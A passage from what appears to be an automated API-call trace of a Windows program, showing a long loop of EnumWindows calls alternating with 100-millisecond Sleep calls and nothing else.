lParam=0x410000) [0278.298] Sleep (dwMilliseconds=0x64) [0278.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.300] Sleep (dwMilliseconds=0x64) [0278.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.303] Sleep (dwMilliseconds=0x64) [0278.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.313] Sleep (dwMilliseconds=0x64) [0278.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.357] Sleep (dwMilliseconds=0x64) [0278.365] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.366] Sleep (dwMilliseconds=0x64) [0278.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.456] Sleep (dwMilliseconds=0x64) [0278.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.506] Sleep (dwMilliseconds=0x64) [0278.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.552] Sleep (dwMilliseconds=0x64) [0278.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.631] Sleep (dwMilliseconds=0x64) [0278.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.671] Sleep (dwMilliseconds=0x64) [0278.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.689] Sleep (dwMilliseconds=0x64) [0278.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.791] Sleep (dwMilliseconds=0x64) [0278.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.800] Sleep (dwMilliseconds=0x64) [0278.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.802] Sleep (dwMilliseconds=0x64) [0278.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.803] Sleep (dwMilliseconds=0x64) [0278.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.805] Sleep (dwMilliseconds=0x64) [0278.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.806] Sleep (dwMilliseconds=0x64) [0278.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.809] Sleep (dwMilliseconds=0x64) [0278.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.811] Sleep (dwMilliseconds=0x64) [0278.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.812] Sleep (dwMilliseconds=0x64) [0278.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.814] Sleep (dwMilliseconds=0x64) [0278.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.823] Sleep (dwMilliseconds=0x64) [0278.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.825] Sleep (dwMilliseconds=0x64) [0278.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.827] Sleep (dwMilliseconds=0x64) [0278.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.828] Sleep (dwMilliseconds=0x64) [0278.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.830] Sleep (dwMilliseconds=0x64) [0278.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.832] Sleep (dwMilliseconds=0x64) [0278.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.834] Sleep (dwMilliseconds=0x64) [0278.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.835] Sleep (dwMilliseconds=0x64) [0278.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.837] Sleep (dwMilliseconds=0x64) [0278.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.839] Sleep (dwMilliseconds=0x64) [0278.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.840] Sleep (dwMilliseconds=0x64) [0278.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.842] Sleep (dwMilliseconds=0x64) [0278.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.844] Sleep (dwMilliseconds=0x64) [0278.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.846] Sleep (dwMilliseconds=0x64) [0278.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.848] Sleep (dwMilliseconds=0x64) [0278.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.850] Sleep (dwMilliseconds=0x64) [0278.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.851] Sleep (dwMilliseconds=0x64) [0278.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.853] Sleep (dwMilliseconds=0x64) [0278.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.855] Sleep (dwMilliseconds=0x64) [0278.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.857] Sleep (dwMilliseconds=0x64) [0278.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.858] Sleep (dwMilliseconds=0x64) [0278.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.860] Sleep (dwMilliseconds=0x64) [0278.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.862] Sleep (dwMilliseconds=0x64) [0278.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.863] Sleep (dwMilliseconds=0x64) [0278.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.867] Sleep (dwMilliseconds=0x64) [0278.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.869] Sleep (dwMilliseconds=0x64) [0278.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.870] Sleep (dwMilliseconds=0x64) [0278.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.872] Sleep (dwMilliseconds=0x64) [0278.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.874] Sleep (dwMilliseconds=0x64) [0278.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.876] Sleep (dwMilliseconds=0x64) [0278.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.878] Sleep (dwMilliseconds=0x64) [0278.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.879] Sleep (dwMilliseconds=0x64) [0278.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.881] Sleep (dwMilliseconds=0x64) [0278.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.882] Sleep (dwMilliseconds=0x64) [0278.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.884] Sleep (dwMilliseconds=0x64) [0278.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.885] Sleep (dwMilliseconds=0x64) [0278.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.887] Sleep (dwMilliseconds=0x64) [0278.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.889] Sleep (dwMilliseconds=0x64) [0278.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.891] Sleep (dwMilliseconds=0x64) [0278.892] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.893] Sleep (dwMilliseconds=0x64) [0278.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.894] Sleep (dwMilliseconds=0x64) [0278.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.896] Sleep (dwMilliseconds=0x64) [0278.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.898] Sleep (dwMilliseconds=0x64) [0278.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.900] Sleep (dwMilliseconds=0x64) [0278.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.902] Sleep (dwMilliseconds=0x64) [0278.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.904] Sleep (dwMilliseconds=0x64) [0278.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.905] Sleep (dwMilliseconds=0x64) [0278.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.907] Sleep (dwMilliseconds=0x64) [0278.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.909] Sleep (dwMilliseconds=0x64) [0278.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.911] Sleep (dwMilliseconds=0x64) [0278.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.912] Sleep (dwMilliseconds=0x64) [0278.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.914] Sleep (dwMilliseconds=0x64) [0278.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.916] Sleep (dwMilliseconds=0x64) [0278.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.918] Sleep (dwMilliseconds=0x64) [0278.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.000] Sleep (dwMilliseconds=0x64) [0279.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.038] Sleep (dwMilliseconds=0x64) [0279.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.132] Sleep (dwMilliseconds=0x64) [0279.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.146] Sleep (dwMilliseconds=0x64) [0279.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.148] Sleep (dwMilliseconds=0x64) [0279.149] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.149] Sleep (dwMilliseconds=0x64) [0279.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.151] Sleep (dwMilliseconds=0x64) [0279.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.152] Sleep (dwMilliseconds=0x64) [0279.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.154] Sleep (dwMilliseconds=0x64) [0279.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.155] Sleep (dwMilliseconds=0x64) [0279.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.157] Sleep (dwMilliseconds=0x64) [0279.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.158] Sleep (dwMilliseconds=0x64) [0279.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.160] Sleep (dwMilliseconds=0x64) [0279.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.161] Sleep (dwMilliseconds=0x64) [0279.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.163] Sleep (dwMilliseconds=0x64) [0279.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.165] Sleep (dwMilliseconds=0x64) [0279.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.166] Sleep (dwMilliseconds=0x64) [0279.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.168] Sleep (dwMilliseconds=0x64) [0279.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.173] Sleep (dwMilliseconds=0x64) [0279.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.175] Sleep (dwMilliseconds=0x64) [0279.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.176] Sleep (dwMilliseconds=0x64) [0279.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.257] Sleep (dwMilliseconds=0x64) [0279.285] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.286] Sleep (dwMilliseconds=0x64) [0279.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.288] Sleep (dwMilliseconds=0x64) [0279.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.289] Sleep (dwMilliseconds=0x64) [0279.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.291] Sleep (dwMilliseconds=0x64) [0279.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.292] Sleep (dwMilliseconds=0x64) [0279.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.294] Sleep (dwMilliseconds=0x64) [0279.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.296] Sleep (dwMilliseconds=0x64) [0279.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.298] Sleep (dwMilliseconds=0x64) [0279.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.300] Sleep (dwMilliseconds=0x64) [0279.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.301] Sleep (dwMilliseconds=0x64) [0279.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.303] Sleep (dwMilliseconds=0x64) [0279.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.304] Sleep (dwMilliseconds=0x64) [0279.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.306] Sleep (dwMilliseconds=0x64) [0279.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.307] Sleep (dwMilliseconds=0x64) [0279.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.316] Sleep (dwMilliseconds=0x64) [0279.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.375] Sleep (dwMilliseconds=0x64) [0279.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.385] Sleep (dwMilliseconds=0x64) [0279.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.459] Sleep (dwMilliseconds=0x64) [0279.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.468] Sleep (dwMilliseconds=0x64) [0279.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.479] Sleep (dwMilliseconds=0x64) [0279.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.484] Sleep (dwMilliseconds=0x64) [0279.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.485] Sleep (dwMilliseconds=0x64) [0279.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.487] Sleep (dwMilliseconds=0x64) [0279.488] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.488] Sleep (dwMilliseconds=0x64) [0279.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.532] Sleep (dwMilliseconds=0x64) [0279.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.600] Sleep (dwMilliseconds=0x64) [0279.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.604] Sleep (dwMilliseconds=0x64) [0279.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.606] Sleep (dwMilliseconds=0x64) [0279.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.608] Sleep (dwMilliseconds=0x64) [0279.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.609] Sleep (dwMilliseconds=0x64) [0279.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.611] Sleep (dwMilliseconds=0x64) [0279.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.612] Sleep (dwMilliseconds=0x64) [0279.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.614] Sleep (dwMilliseconds=0x64) [0279.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.615] Sleep (dwMilliseconds=0x64) [0279.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.617] Sleep (dwMilliseconds=0x64) [0279.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.618] Sleep (dwMilliseconds=0x64) [0279.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.620] Sleep (dwMilliseconds=0x64) [0279.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.621] Sleep (dwMilliseconds=0x64) [0279.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.623] Sleep (dwMilliseconds=0x64) [0279.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.624] Sleep (dwMilliseconds=0x64) [0279.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.626] Sleep (dwMilliseconds=0x64) [0279.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.627] Sleep (dwMilliseconds=0x64) [0279.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.629] Sleep (dwMilliseconds=0x64) [0279.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.630] Sleep (dwMilliseconds=0x64) [0279.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.652] Sleep (dwMilliseconds=0x64) [0279.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.755] Sleep (dwMilliseconds=0x64) [0279.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.757] Sleep (dwMilliseconds=0x64) [0279.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.758] Sleep (dwMilliseconds=0x64) [0279.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.759] Sleep (dwMilliseconds=0x64) [0279.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.761] Sleep (dwMilliseconds=0x64) [0279.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.762] Sleep (dwMilliseconds=0x64) [0279.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.764] Sleep (dwMilliseconds=0x64) [0279.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.765] Sleep (dwMilliseconds=0x64) [0279.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.767] Sleep (dwMilliseconds=0x64) [0279.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.768] Sleep (dwMilliseconds=0x64) [0279.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.770] Sleep (dwMilliseconds=0x64) [0279.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.771] Sleep (dwMilliseconds=0x64) [0279.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.773] Sleep (dwMilliseconds=0x64) [0279.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.775] Sleep (dwMilliseconds=0x64) [0279.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.777] Sleep (dwMilliseconds=0x64) [0279.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.786] Sleep (dwMilliseconds=0x64) [0279.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.890] Sleep (dwMilliseconds=0x64) [0279.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.901] Sleep (dwMilliseconds=0x64) [0279.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.910] Sleep (dwMilliseconds=0x64) [0279.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.923] Sleep (dwMilliseconds=0x64) [0279.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.924] Sleep (dwMilliseconds=0x64) [0279.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.927] Sleep (dwMilliseconds=0x64) [0279.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.929] Sleep (dwMilliseconds=0x64) [0279.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.930] Sleep (dwMilliseconds=0x64) [0279.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.932] Sleep (dwMilliseconds=0x64) [0279.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.933] Sleep (dwMilliseconds=0x64) [0279.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.935] Sleep (dwMilliseconds=0x64) [0279.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.937] Sleep (dwMilliseconds=0x64) [0279.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.938] Sleep (dwMilliseconds=0x64) [0279.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.941] Sleep (dwMilliseconds=0x64) [0279.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.943] Sleep (dwMilliseconds=0x64) [0279.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.944] Sleep (dwMilliseconds=0x64) [0279.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.946] Sleep (dwMilliseconds=0x64) [0279.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.947] Sleep (dwMilliseconds=0x64) [0279.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.949] Sleep (dwMilliseconds=0x64) [0279.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.951] Sleep (dwMilliseconds=0x64) [0279.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0279.953] Sleep (dwMilliseconds=0x64) [0280.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.058] Sleep (dwMilliseconds=0x64) [0280.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.074] Sleep (dwMilliseconds=0x64) [0280.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.077] Sleep (dwMilliseconds=0x64) [0280.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.078] Sleep (dwMilliseconds=0x64) [0280.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.080] Sleep (dwMilliseconds=0x64) [0280.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.081] Sleep (dwMilliseconds=0x64) [0280.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.102] Sleep (dwMilliseconds=0x64) [0280.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.104] Sleep (dwMilliseconds=0x64) [0280.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.183] Sleep (dwMilliseconds=0x64) [0280.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.258] Sleep (dwMilliseconds=0x64) [0280.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.262] Sleep (dwMilliseconds=0x64) [0280.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.263] Sleep (dwMilliseconds=0x64) [0280.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.268] Sleep (dwMilliseconds=0x64) [0280.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.272] Sleep (dwMilliseconds=0x64) [0280.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.273] Sleep (dwMilliseconds=0x64) [0280.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.275] Sleep (dwMilliseconds=0x64) [0280.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.277] Sleep (dwMilliseconds=0x64) [0280.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.279] Sleep (dwMilliseconds=0x64) [0280.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.281] Sleep (dwMilliseconds=0x64) [0280.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.283] Sleep (dwMilliseconds=0x64) [0280.285] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.285] Sleep (dwMilliseconds=0x64) [0280.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.286] Sleep (dwMilliseconds=0x64) [0280.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.288] Sleep (dwMilliseconds=0x64) [0280.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.351] Sleep (dwMilliseconds=0x64) [0280.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.398] Sleep (dwMilliseconds=0x64) [0280.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.399] Sleep (dwMilliseconds=0x64) [0280.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.401] Sleep (dwMilliseconds=0x64) [0280.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.402] Sleep (dwMilliseconds=0x64) [0280.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.404] Sleep (dwMilliseconds=0x64) [0280.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.405] Sleep (dwMilliseconds=0x64) [0280.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.407] Sleep (dwMilliseconds=0x64) [0280.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.409] Sleep (dwMilliseconds=0x64) [0280.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.411] Sleep (dwMilliseconds=0x64) [0280.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.416] Sleep (dwMilliseconds=0x64) [0280.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.418] Sleep (dwMilliseconds=0x64) [0280.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.419] Sleep (dwMilliseconds=0x64) [0280.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.421] Sleep (dwMilliseconds=0x64) [0280.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.423] Sleep (dwMilliseconds=0x64) [0280.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.472] Sleep (dwMilliseconds=0x64) [0280.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.474] Sleep (dwMilliseconds=0x64) [0280.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.476] Sleep (dwMilliseconds=0x64) [0280.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.478] Sleep (dwMilliseconds=0x64) [0280.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.480] Sleep (dwMilliseconds=0x64) [0280.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.481] Sleep (dwMilliseconds=0x64) [0280.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.483] Sleep (dwMilliseconds=0x64) [0280.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.485] Sleep (dwMilliseconds=0x64) [0280.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.487] Sleep (dwMilliseconds=0x64) [0280.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.493] Sleep (dwMilliseconds=0x64) [0280.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.494] Sleep (dwMilliseconds=0x64) [0280.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.496] Sleep (dwMilliseconds=0x64) [0280.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.498] Sleep (dwMilliseconds=0x64) [0280.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.500] Sleep (dwMilliseconds=0x64) [0280.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.501] Sleep (dwMilliseconds=0x64) [0280.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.503] Sleep (dwMilliseconds=0x64) [0280.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.504] Sleep (dwMilliseconds=0x64) [0280.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.506] Sleep (dwMilliseconds=0x64) [0280.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.508] Sleep (dwMilliseconds=0x64) [0280.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.509] Sleep (dwMilliseconds=0x64) [0280.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.511] Sleep (dwMilliseconds=0x64) [0280.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.513] Sleep (dwMilliseconds=0x64) [0280.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.514] Sleep (dwMilliseconds=0x64) [0280.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0280.516] Sleep (dwMilliseconds=0x64) [0280.517] EnumWindows 